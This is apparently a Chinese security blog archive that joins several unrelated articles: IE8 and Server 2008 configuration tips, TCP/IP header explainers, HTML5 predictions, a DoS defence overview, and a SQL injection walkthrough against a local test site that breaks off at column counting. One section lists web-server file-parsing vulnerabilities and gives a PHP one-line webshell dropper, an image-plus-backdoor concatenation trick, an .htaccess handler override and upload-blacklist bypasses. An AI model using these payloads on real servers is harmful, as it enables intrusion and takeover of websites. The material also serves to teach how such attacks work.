禁止IE8在XP下修改安全等级后的提示条

系统提示内容在浏览器上部,其内容为“禁止当前安全设置会使计算机有风险的提示”

在VISTA和windows 7系统中可以通过组策略里禁止这个提示。

但是XP下没有此组策略项。于是在windows 7下提取此注册表。

做标记防止忘记

在XP的注册表中新建Security项,然后新建DWORD条目DisableSecuritySettingsCheck的值为1时禁止提示

Windows Registry Editor Version 5.00   [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Security]  “DisableSecuritySettingsCheck”=dword:00000001

/结束

IIS 6.0/7.0/7.5、Nginx、Apache 等服务器解析漏洞总结

[+]IIS 6.0

目录解析:/xx.asp/xx.jpg  xx.jpg可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码

IIS6.0 会将 xx.jpg 解析为 asp 文件。

后缀解析:/xx.asp;.jpg     /xx.asp:.jpg(此处需抓包修改文件名)

IIS6.0 都会把此类后缀文件成功解析为 asp 文件。

(站长评论:IIS6.0解析漏洞的成因,可以查阅:IIS文件名解析漏洞扼要分析)

{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去,剩下/xx.asp}

(站长评论:发现错误,并不是不允许存在,这种路径叫做“NTFS数据流”,具体见:IIS6使用冒号上传漏洞,发现IIS6漏洞(上传利用) 底下的评论)

默认解析:/xx.asa    /xx.cer   /xx.cdx

IIS6.0 默认的可执行文件除了 asp 还包含这三种

(站长评论:这种主要是由于在 IIS 默认配置中,这几个后缀默认由 asp.dll 来解析,所以执行权限和 .asp 一摸一样,你可在配置中自行删除该后缀,以防止安全隐患)

此处可联系利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

[+]IIS 7.0/IIS 7.5/Nginx <=0.8.37

IIS 7.0/IIS 7.5/Nginx <=0.8.37

在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。

常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

e.g.  copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二进制[binary]模式

/a 即ascii模式 xx.jpg正常图片文件

yy.txt 内容 <?PHP fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?>

意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件

######################################

找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。

然后就在图片目录下生成一句话木马 shell.php 密码 cmd

[+]Nginx <=0.8.37

在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞

在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

(站长评论:从 /test.jpg/x.php 演变过来的,具体可以参考:Ngnix 空字节可远程执行代码漏洞)

[+]Apache

后缀解析:test.php.x1.x2.x3

Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析

test.php.x1.x2.x3 则会被解析为php

经验之谈:php|php3|phtml 多可被Apache解析

(站长评论:关于 apache 解析漏洞可以查阅“Apache 漏洞之后缀名解析漏洞”)

[+]其他一些可利用的

在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的!

在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可得到shell。

我记得Fck Php 2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在}

如果在Apache中.htaccess可被应用(Apache的配置文件httpd.conf中对目录的AllowOverride设置为All时,apache会应用目录下.htaccess中的配置 By sfasfas),

且可以被上传,那可以尝试在.htaccess中写入:

<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>

shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件

[+]lighttpd

xx.jpg/xx.php

解读TCP/UDP数据包(二):TCP数据包结构

解读TCP/UDP数据包(二):TCP数据包结构

1、图
TCP数据包由首部和数据组成,
每行4个字节(32位)
其中首部最少20个字节(5行),最多60个字节(15行),选项部分是可选的;
TCP首部并没有字段表明整个数据包的长度,是因为TCP数据包是包含在IP数据包中的,而IP数据包已有长度字段,除去IP首部和TCP首部,剩余部分就是TCP包的净荷数据。
44
222
2、首部固定部分
1、  第一行:源端口2字节,目的端口2字节
表示发送方和接收方的端口号
2、  第二、三行:序列号4字节,确认号4字节
序列号是指该报文段在发送方数据字节流中的位置,在TCP字节流中,每个数据字节都被编号;
确认号是指本机希望收到的下一个字节的序号;
序列号和确认号分别对应报文发送方向和相反方向的数据流;
报文被分解成多个报文段时,序列号就是首字节在整个报文中的偏移量,确认号指定下一个期待的字节;
序列号和确认号的最大表示范围均为2^32-1=4294967295≈42.9亿;
3、  第四行:首部长度4位,保留6位,标志位6位,窗口大小16位
首部长度:
        指明首部共有多少行(每行4个字节),则TCP首部的最大长度为(2^4-1)*4=60字节;
标志位6位,含义分别如下:
        URG:紧急指针有效
        ACK:确认序号有效
        PSH:接收方尽快将这个报文段交给应用层
        RST:重建连接
        SYN:同步序号用来发起一个连接
        FIN:发端完成发送任务
窗口大小:
        即发送数据的窗口大小,告诉对方在不等待确认的情况下,可以发来多大的数据;这里表示的最大长度是2^16-1=65535,如需要使用更大的窗口大小,需要使用选项中的窗口扩大因子选项;
4、  第五行:TCP校验和16位,紧急指针16位
TCP校验和:【待补充】
紧急指针:
        当URG标志为1时紧急指针才有效,紧急指针是一个正的偏移量,和序号字段中的值相加表示紧急数据最后一个字节的序号(即序列号到紧急指针之间的数据为紧急数据,后面的数据才是正常数据)。
3、首部选项部分
第六行开始是选项部分:
每个选项的开始是1字节的kind字段,说明选项的类型。(这里描述的长度,包含kind和长度字节本身)。
1、kind=0:选项表结束(共1字节)
2、kind=1:无操作(共1字节)Nop:no operation
        用于填充选项字段,使TCP首部长度为4字节的倍数;
3、kind=2:最大报文段长度(共4字节=1+1+2)MSS(Maxinum Segment Size)
        第一个字节:kind的值,即0x02;
        第二个字节:该段选项的长度,即0x04;
        第三四字节:MSS的值,最大报文段长度(仅仅是净荷数据,不包括TCP首部字段);
        TCP包最大净荷数据量为65495(=IP数据包最大长度65535-TCP包头20字节 – IP包头20字节);
        用于发送方与接收方协商最大报文段长度。TCP在三次握手中,每一方都会通告期望收到的MSS(MSS只出现在SYN数据包中),如果一方不接受另一方的MSS值,则使用默认的536字节净荷数据,即主机能够接受20+536字节的TCP报文段。
4、kind=3:窗口扩大因子(共3字节=1+1+1)Window Scaling
        第一个字节:kind的值,即0x03;
        第二个字节:该段选项的长度,即0x03;
        第三个字节:移位值(Shift count)S,表示把窗口值向左移动S位,得到实际窗口大小,移位值的取值范围是0~14,则窗口最大值为1GB,即65535*(2^14)=1073725440=10亿字节=1GB,在TCP建立连接时协商的。如果窗口已经扩大,当不再需要扩大时,发送S=0选项就可以恢复窗口大小到16位;(最大值14,即最大TCP序号限定为2^16 * 2^ 14 = 2^30 < 2^31。该限制用于防止字节序列号溢出。)
        窗口扩大选项是在TCP建立之初进行协商,如果已实现了窗口扩大,当不再需要扩大窗口时,发送移位值=0就可以恢复到原窗口大小,即65535。
5、kind=8:时间戳选项(共10字节=1+1+4+4)Timestamps
        第一个字节:kind的值,即0x08;
        第二个字节:该段选项的长度,即0x0a;
        第三到第六字节:时间戳,系统启动时开始记数(可能是每500毫秒加1),用于计算RTT和防止回绕序号(PAWS);
        第七到第十字节:回送的时间戳,为收到的上一个报文的时间戳;
        时间戳选项用来计算往返时间RTT,发送方在发送报文段时把当前时钟的时间值放入时间戳字段,接收方将该时间戳字段的值复制到确认报文中,当接收方收到确认报文,对比确认报文的时间戳(等于发送方发送报文段的时间戳)和现在的时钟,即可算出RTT。
        时间戳选项还可用于防止回绕序号PAWS。序列号只有32位,每2^32个序列号就会回绕(想想环形队列),采用时间戳选项很容易区分相同序列号的报文段。
6、kind=4:选择确认选项SACK Selective Acknowledgements
        第一个字节:kind的值,即0x04;
        第二个字节:该段选项的长度;
        考虑这样情况,主机A发送报文段12345,主机B收到135且报文无差错,SACK用来确保只重传缺少的报文段,而不是重传所有报文段。
        SACK选项需要2个功能字节,一个用来指明使用SACK选项(SACK Permission),另一指明这个选项占多少字节。
        那怎么形容丢失的报文段2,说明2的左右边界分别是1、3。TCP的数据报文是有字块边界的,而这种边界是由序列号表示的。
        最多能指明多少个字节块的边界信息呢?答案是4个。这是因为选项字段最大是40字节,去除2个功能字节,序列号是32位即4字节,并且需要左右边界,所以(40-2)/8 = 4。
4、数据
TCP首部结束之后的部分
声明: 本文出自《中国蓝客联盟官方团队博客》,转载请注明版权!

解读TCP/UDP数据包(一):IP数据包结构

解读TCP/UDP数据包(一):IP数据包结构

1、图
IP数据包由首部和数据组成
每行4个字节(32位)
其中首部最少20个字节(5行),选项部分是可选的;【待补充选项长度】
11
2、首部固定部分
1、  第一行:IP版本号4位,首部长度4位,服务类型8位,总长度16位
IP版本号:
        IPv4固定值为4
首部长度:
        指明首部共有多少行(每行4个字节,32位),则IP首部的最大长度为(2^4-1)*4=60字节;
服务类型:
        前三个BIT:优先权,现已忽略;
        4 bit的TOS分别代表:最小时延、最大吞吐量、最高可靠性和最小费用,均为0表示一般服务;最后1BIT未用;
总长度:
        包括IP首部在内的以字节为单位的IP数据报总长度;
2、  第二行:标识16位,标志3位,片偏移13位
标识:
        包唯一标识,用于分片和重组【补充分片重组信息】
标志位:
        第一位为零,第二位DF位(不要分片),第三位MF位(还有分片)
片偏移:
        用于分片和重组
3、  第三行:生存时间8位,协议8位,首部校验和16位
生存时间:
        TTL(每转发一次路由减一,最大为255跳);
协议:
        0x11为UDP,0x6为TCP【补充常用协议值】
首部校验和:
        16位的首部(包括选项)校验和(简单的16位反码加法)【补充具体算法】
4、  第四、五行:源IP地址32位(网络序),目的IP地址32位
3、首部选项部分
【待补充】
4、数据
IP首部结束之后的部分
声明: 本文出自《中国蓝客联盟官方团队博客》,转载请注明版权!

关于HTML5令人激动的10项预测

\

对于 HTML5 的开发者和公司决策者们而言,现在最重要的技术是 HTML、JavaScript、CSS、移动平台和设备、以及不断改进的 HTML 平台(包括浏览器和操作系统)。这意味着,下面 10 件事情将发生在 2013 年:

1、基于HTML5移动平台的崛起

在开发跨平台 app 方面,HTML5 发挥着越来越重要的作用。目前,这种开发一般都是通过本地封装器完成的,例如 Cordova(Cordova 使得 HTML 和 JavaScript 可以在 iOS 和 Android 等平台上驱动 app)。这种技术称为混合型 app 开发。

今年,许多新兴平台把支持 HTML5 app 作为平台基本功能——不需要封装器了!这其中重要是 Google 的 Chrome OS;Firefox OS 则已经计划通过低端的中兴、TCL 设备上在欧洲开始出货;以 HTML 为中心新的平台 Tizen 得到了英特尔和三星在内的多家重量级公司支持;同样以 HTML 为中心的 Ubuntu 将带来最具流行风味的 Linux 手机;BlackBerry 10 也将 HTML 和 JavaScript 作为其下一代 app 战略的核心;还有 Windows 8,Windows 8 引入了新的 HTML、JavaScript 开发模式来开发“Windows 8 的风格”app。这些平台中,有些一定会在 2013 年取得成功。我最看好 Chrome OS 和 Tizen。

Chrome OS 有 Google 作为强大的后盾,重新修改了开发者和消费者推广方式,并具有最宽广的平台战略的优势(跨移动和桌面平台),Chrome OS 已经取得了先发优势。

而 Tizen 同时得到了英特尔、三星、NEC、松下、Sprint、华为、Vodafone 等的业界巨头最广泛的支持,并担任了 Linux 基金会工程管理的职位。Tizen 因为更加开放(更加可定制),而具有了向 Android 发起挑战的潜力。这种开发性对设备制造商非常有吸引力。

2、为Chrome定制(kit)

越来越多的网站选择只在一种浏览器上进行 app 的测试。20 世纪 90 年代是以“为 Internet Explorer 定制”为标志的,开发者们现在则以“为 Chrome 定制”来标榜他们的 app——针对 Chrome 浏览器开发,不保证一定通用。在 2013 年,这种趋势可能会进一步加速。基于 Webkit 的 Chrome 浏览器非常高效,不断的快速改进,而且几乎在所有主流操作系统(Windows、Mac、Linux、Android 和 iOS)上通用。并且,同样基于 Webkit 的 Safari 和 Blackberry 浏览器,帮助 Chrome 提供一些额外的兼容性。因此,开发人员更愿意专门为 Chrome 浏览器开发程序。虽然这样可能会疏远某些用户,但“为 Chrome 定制”可以更充分地利用 HTML5 API,节省宝贵的开发和测试时间。

3、IE 10——幸福并痛苦着

IE 10 被认为是古老 IE 浏览器的一个巨大的进步。通过对 Web 标准更深入的支持,IE 10 使 IE 浏览器进入了 HTML5 的时代。但是,面对的快速持续更新 Chrome 和 Firefox 浏览器,IE 浏览器 2013 年将再次被甩在后面。微软有将 IE 浏览器更新的更快些的希望:微软 IE9 时代建立的 HTML5 实验室在不断发布 IE10 的“实验性”改进,使其成为一个更强大的 HTML5 浏览器。虽然微软的步幅并不大,但这仍然是一个好的开始。

4、IE6、IE7和IE8的消亡

IE10 处于关注的中心,而旧版本的 IE 漫漫的消亡过程仍未完成。只有最顽固的企业和中国仍然要求支持 IE6,世界许多地方都直接跳过了 IE7。如果你还没有停止支持 IE6 和 IE7,那么在 2013 年停止吧。放弃 IE8 好像有点夸张,但是也没有什么坚持的必要。IE10 的发布使 IE8 落后了两个版本(这通常被用来当做判断是否应该放弃的标准),jQuery 2.0 将在 2013 年加入 Google app 而放弃支持 IE8。到 2013 年底,大多数开发者将发现 IE8 不值得他们浪费时间。

5、Android 2.X的消亡

Android 2.x(Eclair, Froyo and Gingerbread)看上去就像我们的手中的另一个 IE6。尽管,Google 已经开始出货 Android 4+ 的设备,但据 Google 自己的统计,截止 2012 年中期,所有的 Android 设备中 2.x 系列的 Android(主要是 2.3.x)占 90%以上!Google 未能保持其 Android 的用户群和生态系统的升级。幸运的是,2012 年的假日季(圣诞前后)似乎帮助打破这种僵局。Android 4+(Ice Cream Sandwich and Jelly Bean)的占有率在 2012 年年底飙升至近 40%。到 2013 年年底,Android 2.X 可能将占不到 15%的市场份额,而 Android 开发者将把重心切换到 4 + 版本。

6、响应式设计成为主流

到目前为止,响应式设计仍然不是 Web 开发的主流——只是“如果你有时间”,才去做的事情。这种情况将要改变。随着电脑和移动设备之间的界限越来越模糊,开发人员不得不让网站和应用程序可以动态地适应各种不可预知的屏幕尺寸和屏幕分辨率。

7、移动开发超过桌面开发

不需要高薪的分析师就能发现手机和平板电脑在增长,而传统的 PC 正在衰退。现在起,开发者将开始花更多的时间来开发用于移动设备的软件,而不是传统的 PC 程序,并从消费市场延伸到各种规模的企业,以服务所有内部和外部用户。如果你在 2013 年开发的不是移动程序,要么你是在维护传统软件,要么已经错失了良机。

8、桌面HTML应用

虽然手机应用在增长,但还没有到放弃桌面开发的时候。传统形式的桌面对许多信息产业工作者仍然非常重要。但随着 PC 变成仅是您使用的众多设备之一,开发人员会希望写的代码能跨 PC 和移动设备运行。HTML 和 JavaScript 是满足这种需求的最佳选择,比如 Chrome Packaged Apps 和 Windows Store Style (WinJS) apps 平台能让之成为可能。微软和 Google 都在推动 HTML 用于桌面应用程序的开发,开发者应及时响应并开始拥抱跨平台 HTML 和 JavaScript 桌面开发的时代。

9、SPA时代

随着 HTML 和 JavaScript 应用于桌面开发和日益复杂的移动应用程序开发,开发人员将发现他们需要新的技术来构建可维护的跨平台应用程序。得益于 Backbone, Knockout 和 Kendo UI 等功能强大的框架的支持,单页应用程序 Single Page Application(SPA)上升势头迅猛。如果“RIA(Rich Internet Applications)是在 2010 年的流行语,那么”SPA“将是 2013 年的流行语。如果你作为一个 HTML 和 JavaScript 开发人员,正在寻找一个值得学习新技术或新概念,那么在 2013 年必然是 SPA 架构。

10、去掉HTML版本号

现在,W3C 已经“完成了”HTML5 规范,媒体报道和大家关注的重点将会集中在“Web 标准平台下面将推出什么”上面。W3C 已经开始致力于 HTML 5.1 标准,HTML 5.1 是下一个WHATWG(网页超文本应用技术工作组)的标准的缩影 。下一代的 HTML 平台的改进将从 HTML5 的较低级别核心(DOM 元素、CSS 样式、Simple JavaScript APIs,比如 Geolocation),转向对应用开发更为重要的改进上来(如 ShadowDOM、Web Components、CSS 布局和语音识别)。

即使版本号不来凑凑热闹,关于 HTML 讨论将会继续,HTML 技术也将继续发展

声明: 本文出自《中国蓝客联盟官方团队博客》,转载请注明版权!

SYN 攻击原理以及防范技术

从网络攻击的各种方法和所产生的破坏情况来看,DoS算是一种很简单但又很有效的进攻方式。它的目的就是拒绝你的服务访问,破坏组织的正常运行,最终它会使你的部分Internet连接和网络系统失效,DoS拒绝服务攻击来袭如何应对呢?

AD:

 

DoS的英文全称是Denial of Service,也就是“拒绝服务”的意思。从网络攻击的各种方法和所产生的破坏情况来看,DoS算是一种很简单但又很有效的进攻方式。它的目的就是拒绝你的服务访问,破坏组织的正常运行,最终它会使你的部分Internet连接和网络系统失效。DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务。

我们可以看出DoS攻击的基本过程:首先攻击者向服务器发送众多的带有虚假地址的请求,服务器发送回复信息后等待回传信息,由于地址是伪造的,所以服务器一直等不到回传的消息,分配给这次请求的资源就始终没有被释放。当服务器等待一定的时间后,连接会因超时而被切断,攻击者会再度传送新的一批请求,在这种反复发送伪地址请求的情况下,服务器资源最终会被耗尽。

如何阻挡DoS

对付DoS,目前还没有十分有效的防范办法。阻挡DoS常用方法之一是在网络上设立过滤器或侦测器,在信息到达网站服务器之前阻挡信息。过滤器会侦察可疑的访问行动。如果可疑访问经常出现,过滤器就会接受指示,阻挡相应的信息,让服务器的对外连接保持畅通。针对DoS消耗系统资源的作法,一些用户通过采用增加系统资源、扩充主机集群数量等方式可以在一定程度上缓解攻击,这种做法显然增加了硬件成本开销和维护开销,不适于资金有限的用户采用。

防火墙和VPN是目前阻挡“拒绝服务攻击”的常用设备。其中,防火墙作为访问控制设备,通过设计访问策略,能够对拒绝服务攻击起到一定防范作用。不过,防火墙必须经过正确设置才能发挥防护作用。当防火墙依据多重安全规则,对不同服务进行数据包过滤和代理时,容易导致系统管理者将防火墙的环境设定错误,而留下一些系统安全漏洞,让入侵者有机可乘。

目前防火墙在防范DoS 攻击方面存在缺陷。一是防火墙是由人工去设定,不适合动态设定,而且由于每次攻击方式是不同的,用户无法得知攻击者的地址和用来攻击的协议。二是目前防火墙的设定通常不会分辨正常封包与攻击封包之不同。以抵挡ICMP Ping攻击为例,网管员将防火墙设置为能够阻挡所有进来的ICMP Ping封包,但这时防火墙并不阻挡ICMP Ping Response封包,这种方式使防火墙外部的用户无法Ping到防火墙内部的IP地址,但却不是一个好办法,目前的黑客已经采用传送大量伪造的ICMP Ping Response 封包的方式进行攻击,防火墙只有挡掉ICMP Ping Response 的封包,才能阻挡这类攻击,这给防火墙内部用户造成了不便。而对付DDoS,人们只能从网络源头、网络运营商一级设置防火墙、过滤器等安全设备才能有效。

解除Server2008远程桌面管理关卡

局域网工作环境中,网络管理员为了方便管理服务器系统,常常会通过远程桌面方式来进行远程管理;可是,当我们尝试远程管理Windows Server 2008服务器系统时,发现并不是那么顺利,甚至无法进行远程管理。出现这种情况,主要是Windows Server 2008系统的安全功能比以往增强了,这使得远程管理之路多了不少安全关卡;为了让Windows Server 2008系统远程管理更顺畅,我们需要对症下药,排除远程管理之路上的种种安全关卡。  排除网络发现关卡
Windows Server 2008系统与普通服务器系统相比,新增加了网络发现功能,一旦该功能没有正常启用时,那么任何用户是无法通过远程桌面方式访问到Windows Server 2008系统的。为了能够对Windows Server 2008服务器系统顺畅进行远程管理,我们需要启用对应系统的网络发现功能,下面是启用网络发现功能的具体操作步骤:
首先打开Windows Server 2008系统桌面中的“开始”菜单,从中逐一单击“设置”/“控制面板”命令,在弹出的系统控制面板窗口中,双击网络和共享中心图标,打开网络和共享中心管理窗口;

图1 启用网络发现功能

其次从网络和共享中心管理窗口中找到共享和发现设置项,再展开网络发现设置选项,打开如图1所示的设置区域,选中“启用网络发现”选项,再单击“应用”按钮,这样一来Windows Server 2008系统的网络发现功能日后就不会阻碍我们对本地服务器系统进行远程管理操作了。
  排除防火墙限制关卡
Windows Server 2008系统在自带防火墙方面的功能又有了明显的增强,而增强了的防火墙程序在默认状态下会对远程桌面连接进行限制,如果不取消这种限制,那么我们同样也不能对Windows Server 2008服务器系统进行远程管理;在排除防火墙限制关卡时,我们可以按照如下步骤来进行:
首先依次单击Windows Server 2008系统桌面中的“开始”、“设置”、“控制面板”命令,打开对应系统的控制面板窗口,双击其中的Windows防火墙图标,在其后界面的左侧显示区域单击“启用或关闭Windows防火墙”链接,打开本地服务器系统的Windows基本配置窗口;

图2 启用远程桌面服务

其次单击该基本配置窗口中的“例外”选项卡,打开如图2所示的选项设置页面,检查其中的“远程桌面”选项是否处于选中状态,一旦发现该选项还没有被选中时,那就说明Windows Server 2008系统自带防火墙会对远程桌面连接进行限制的;为了取消这种限制,我们必须选中这里的“远程桌面”选项,同时单击“确定”按钮保存好上述设置操作,这样一来任何用户远程连接服务器系统时就不会受到防火墙的阻挡限制了。
当然,要想对Windows Server 2008系统进行远程管理,我们还需要设置一下对应系统的组策略参数,以便让系统自带防火墙允许用户入站进行远程管理;在进行这种设置操作时,我们可以先依次单击“开始”、“运行”命令,在弹出的系统运行文本框中执行“gpedit.msc”命令,打开对应系统的组策略编辑窗口;在该窗口的左侧子窗格中,逐级展开“计算机配置”、“管理模板”、“网络”、“网络连接”、“Windows防火墙”组策略子项,在目标子项下面包含两个选项,如果Windows Server 2008服务器系统位于域工作环境,那么我们应该双击“域配置文件”选项下面的“Windows防火墙:允许入站远程管理例外”,在其后界面中选中“已启用”选项,要是Windows Server 2008服务器系统位于工作组环境中,那么我们应该双击“标准配置文件”选项下面的“Windows防火墙:允许入站远程管理例外”,之后再将该策略选项启用起来,如此一来我们才能真正对Windows Server 2008系统进行远程管理。

  排除登录权限关卡
即使我们启用了Windows Server 2008系统的远程桌面功能,不过在默认状态下,该系统是不允许任何用户不经过授权就能对本地服务器系统进行远程管理的,因此当我们尝试利用服务器系统已有帐号远程登录Windows Server 2008系统时,发现始终不能成功登录。为了确保远程登录操作很顺畅,我们可以对目标登录帐号进行授权,让其有权通过远程桌面连接方式来对服务器系统进行远程管理,下面就是具体的设置步骤:
首先在Windows Server 2008系统桌面中依次单击“开始”/“程序”/“管理工具”/“服务器管理器”命令,在弹出的服务器管理器控制台窗口中,单击左侧显示区域中的“服务器管理器”选项,在对应该选项的右侧显示区域,单击“服务器摘要”设置项处的“更改系统属性”按钮,打开Windows Server 2008系统的属性设置对话框;
其次单击该属性设置对话框中的“远程”选项卡,并在对应的远程标签页面中选中“只允许运行带网络级身份验证的远程桌面的计算机”选项,同时单击该选项下面的“选择用户”按钮,打开如图3所示的设置窗口;

图3 添加帐户权限

接着检查该设置窗口的用户账号列表框中是否存在特定的远程管理账号,要是发现该账号还不存在时,我们只要单击这里的“添加”按钮,从其后出现的账号选择对话框中,将目标用户账号选中并导入进来,最后单击“确定”按钮返回,这样一来我们日后始终特定的用户账号就能顺利通过远程桌面连接方式登录进Windows Server 2008系统,并对该系统进行远程管理操作了。
  排除端口限制关卡
一旦将Windows Server 2008系统的远程桌面功能启用起来后,那么服务器系统就相当于被打开了一扇门,此时具有合法权限的用户可以远程管理服务器,没有权限的非法用户也能想办法通过这扇门来攻击服务器。为了保障服务器系统的运行安全性,不少网络管理员常常会将远程桌面的连接端口号码从默认的3389修改成其他陌生的号码,日后任何一位用户必须知道远程桌面的连接端口号码才能与服务器系统成功建立远程桌面连接;因此,当我们遇到无法通过远程桌面连接到Windows Server 2008服务器系统中时,就需要仔细检查对应服务器系统中的远程桌面连接端口号码有没有被修改,如果已经更改的话,我们可以按照如下步骤查看到新的远程端口号码,日后将新端口号码附加到远程连接主机后面就可以了:
首先以超级权限登录进入Windows Server 2008系统,依次单击该系统桌面中的“开始”/“运行”命令,在弹出的系统运行对话框中,输入字符串命令“regedit”,单击“确定”按钮后,打开系统的注册表编辑窗口;
其次将鼠标定位于该编辑窗口左侧显示区域中的HKEY_LOCAL_MACHINE分支选项上,在该分支下面依次点选YSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp注册表子项,在对应tcp注册表子项的右侧显示区域,找到双字节键值PortNumber;

图4 查看远程连接端口号

接着用鼠标双击目标双字节键值,打开如图4所示的设置对话框,在该对话框的“数值数据”文本框中我们就能查看到新的远程桌面连接端口号码了,例如这里查看的远程桌面连接端口号码假设为“2008”,那么日后我们必须在远程连接主机后面加上“:2008”后缀,才能成功连接到目标服务器系统中

 

声明: 本文出自《中国蓝客联盟官方团队博客》,转载请注明版权!

Web攻防 PHP + Mysql注入实战演练

随着Web应用的高速发展和技术的不断成熟,对Web开发相关职位的需求量也越来越大,越来越多的人加入了Web开发的行列。但是由于程序员的水平 参差不齐或是安全意识太低,很多程序员在编写代码时仅考虑了功能上的实现,很少或是根本没有考虑应用的安全性问题。这…

SQL注入作为一种很流行的攻击手段,一直以来都受到网络安全研究者和黑客们的广泛关注。那什么是 SQL注入呢?SQL注入是这样一种攻击技术:攻击者通过把恶意SQL命令插入到Web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意 的SQL命令的一种攻击方式。

SQL注入攻击概述

SQL注入(SQL Injection)定义

SQL注入是攻击者通过把恶意SQL命令插入到Web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意的SQL命令的一种攻击方式。

SQL注入攻击危害

利 用SQL注入漏洞,攻击者可以操纵数据库的数据(如得到数据库中的机密数据、随意更改数据库中的数据、删除数据库等等),在得到一定权限后还可以挂马,甚 至得到整台服务器的管理员权限。由于SQL注入是通过网站正常端口(通常为80端口)来提交恶意SQL语句,表面上看起来和正常访问网站没有区别,如果不 仔细查看WEB日志很难发现此类攻击,隐蔽性非常高。一旦程序出现SQL注入漏洞,危害相当大,所以我们对此应该给予足够的重视。

SQL注入漏洞原理

SQL注入的本质是恶意攻击者将SQL代码插入或添加到程序的参数中,而程序并没有对传入的参数进行正确处理,导致参数中的数据会被当做代码来执行,并最终将执行结果返回给攻击者。
我们来看一个例子,当访问http://www.a.com/cms/new.php?id=3时,在页面上会显示一篇id号为3的文章,在服务器端实际上会执行如下一段代码,如图1所示:

图1

上面的过程中实际执行的SQL语句如下:

Select * from news where id=3

现在我们在URL(http://www.a.com/cms/new.php?id=3)后面添加” and 1=1″,此时实际执行的SQL语句是:

Select * from news where id=3 and 1=1

由于这个条件永远成立,所以返回的页面和正常页面相同。

当添加“ and 1=2”时,会执行如下SQL语句:

Select * from news where id=3 and 1=2

由于这个条件永远不成立,所以返回的页面和正常页面不同。

现在我们可以控制参数id的值来影响程序的返回结果。我们来分析一下图1中的代码,通过GET方式取的参数id的值后,直接用来构造动态SQL语句,并执行SQL查询。整个过程没有对变量id的值作任何处理,导致SQL注入漏洞的产生。

SQL注入典型流程

1.判断Web系统使用的脚本语言,发现注入点,并确定是否存在SQL注入漏洞

2.判断Web系统的数据库类型

3.判断数据库中表及相应字段的结构

4.构造注入语句,得到表中数据内容

5.查找网站管理员后台,用得到的管理员账号和密码登录

6.结合其他漏洞,想办法上传一个Webshell

7.进一步提权,得到服务器的系统权限

(注:以上为一般流程,根据实际情况,情况可能会有所不同。)

PHP+Mysql注入实例

为了方便测试,我们在本地搭建了一个Web系统环境,以攻击者的角度来渗透网站,让读者理解php+mysql注入的完整流程。URL是http://www.a.com/cms/index.php,网站首页截图如图2所示:


图2

手工注入篇

1.查找注入点,判断网站是否存在SQL注入漏洞

首先打开网站,选择“企业新闻”的链接,随便选择一篇新闻,如图3所示。通过此URL(http://www.a.com/cms/new.php?id=3),我们可以确定此处存在一个参数为id,它的值等于3。


图3

现 在我们在http://www.a.com/cms/new.php?id=3后面加一个单引号,会发现返回一个和正常页面不同的页面,如图4所示,这说 明我们添加的单引号影响了程序的运行结果。此处很可能存在注入点,但有时仅用添加单引号的方法判断是否存在注入点并不准确。因为有的程序员认为只要简单过 滤了单引号就可以避免SQL注入,所以在程序参数中只是简单过滤了单引号,并没有做其他处理。这时用添加单引号的方法去探测程序是否存在SQL注入漏洞 时,是探测不到的;但实际上仍然存在SQL注入漏洞,可以通过其他方法探测到。


图4

接着我们在http://www.a.com/cms/new.php?id=3后面添加” and 1=1″和“ and 1=2”,会发现当添加and 1=1时返回的页面和正常页面是一致的,如图5所示。

图5

当添加and 1=2时返回的页面和正常页面不一致,如图6所示。

图6

现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问http://www.a.com/cms/new.php?id=3时数据库中执行的SQL语句大概是这样的:

Select * from [表名] where id=3

添加and 1=1后的SQL语句:

Select * from [表名] where id=3 and 1=1   由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的

添加and 1=2后的SQL语句:

Select * from [表名] where id=3 and 1=2   由于条件1=2永远为假,所以返回的页面和正常页面不一致

2.通过SQL注入,得到我们感兴趣的信息

上面我们确定了此系统存在SQL注入漏洞,下面就让我们来体验下SQL注入强大的威力吧。我们先来判断一下数据库类型以及版本,构造如下语句:

http://www.a.com/cms/new.php?id=3 and ord(mid(version(),1,1))>51

发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0以下版本或者其他类型数据库。

接着我们再构造如下语句来暴表中字段:

a. http://www.a.com/cms/new.php?id=3 order by 10    返回错误页面,说明字段小于10

b. http://www.a.com/cms/new.php?id=3 order by 5    返回正常页面,说明字段介于5和10之间

c. http://www.a.com/cms/new.php?id=3 order by 7    返回错误页面,说明字段大于5小于7,可以判断字段数是6。下面我们再来确认一下

d. http://www.a.com/cms/new.php?id=3 order by 6     返回正常页面,说明字段确实是6
